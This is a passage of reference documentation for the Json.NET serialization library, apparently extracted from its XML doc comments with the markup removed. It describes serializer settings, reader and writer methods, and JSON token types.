sets how default values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets a collection that will be used during serialization. - - Collection that will be used during serialization. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. - The default value is false. - - - true if there will be a check for additional JSON content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Creates a new instance. - The will not use default settings - from . - - - A new instance. - The will not use default settings - from . - - - - - Creates a new instance using the specified . - The will not use default settings - from . - - The settings to be applied to the . - - A new instance using the specified . - The will not use default settings - from . - - - - - Creates a new instance. - The will use default settings - from . - - - A new instance. - The will use default settings - from . - - - - - Creates a new instance using the specified . - The will use default settings - from as well as the specified . - - The settings to be applied to the . - - A new instance using the specified . - The will use default settings - from as well as the specified . - - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Deserializes the JSON structure contained by the specified . - - The that contains the JSON structure to deserialize. - The being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The type of the object to deserialize. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is Auto to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Specifies the settings on a object. - - - - - Gets or sets how reference loops (e.g. a class referencing itself) are handled. - The default value is . - - Reference loop handling. - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - Missing member handling. - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - Null value handling. - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - The default value handling. - - - - Gets or sets a collection that will be used during serialization. - - The converters. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - The preserve references handling. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - The type name handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - The contract resolver. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets the used by the serializer when resolving references. - - The reference resolver. - - - - Gets or sets a function that creates the used by the serializer when resolving references. - - A function that creates the used by the serializer when resolving references. - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the error handler called during serialization and deserialization. - - The error handler called during serialization and deserialization. - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets a value indicating whether there will be a check for additional content after deserializing an object. - The default value is false. - - - true if there will be a check for additional content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - using values copied from the passed in . - - - - - Represents a reader that provides fast, non-cached, forward-only access to JSON text data. - - - - - Asynchronously reads the next JSON token from the source. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns true if the next token was read successfully; false if there are no more tokens to read. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a []. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the []. This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Initializes a new instance of the class with the specified . - - The containing the JSON data to read. - - - - Gets or sets the reader's property name table. - - - - - Gets or sets the reader's character buffer pool. - - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - - The current line number or 0 if no line information is available (for example, returns false). - - - - - Gets the current line position. - - - The current line position or 0 if no line information is available (for example, returns false). - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the JSON value delimiter. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the specified end token. - - The end token to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously closes this writer. - If is set to true, the destination is also closed. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of the current JSON object or array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes indent characters. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes an indent space. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes raw JSON without changing the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a null value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the beginning of a JSON array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the beginning of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the start of a constructor with the given name. - - The name of the constructor. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes an undefined value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the given white space. - - The string of white space characters. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a [] value. - - The [] value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of an array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of a constructor. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Gets or sets the writer's character array pool. - - - - - Gets or sets how many s to write for each level in the hierarchy when is set to . - - - - - Gets or sets which character to use to quote attribute values. - - - - - Gets or sets which character to use for indenting when is set to . - - - - - Gets or sets a value indicating whether object names will be surrounded with quotes. - - - - - Initializes a new instance of the class using the specified . - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying . - - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the specified end token. - - The end token to write. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Specifies the type of JSON token. - - - - - This is returned by the if a read method has not been called. - - - - - An object start token. - - - - - An array start token. - - - - - A constructor start token. - - - - - An object property name. - - - - - A comment. - - - - - Raw JSON. - - - - - An integer. - - - - - A float. - - - - - A string. - - - - - A boolean. - - - - - A null token. - - - - - An undefined token. - - - - - An object end token. - - - - - An array end token. - - - - - A constructor end token. - - - - - A Date. - - - - - Byte data. - - - - - - Represents a reader that provides validation. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Sets an event handler for receiving schema validation errors. - - - - - Gets the text value of the current JSON token. - - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - - Gets the type of the current JSON token. - - - - - - Gets the .NET type for the current JSON token. - - - - - - Initializes a new instance of the class that - validates the content returned from the given . - - The to read from while validating. - - - - Gets or sets the schema. - - The schema. - - - - Gets the used to construct this . - - The specified in the constructor. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a []. - - - A [] or null if the next JSON token is null. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Asynchronously closes this writer. - If is set to true, the destination is also closed. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the specified end token. - - The end token to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes indent characters. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the JSON value delimiter. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes an indent space. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes raw JSON without changing the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of the current JSON object or array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of an array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of a constructor. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a null value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the beginning of a JSON array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the start of a constructor with the given name. - - The name of the constructor. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the beginning of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the 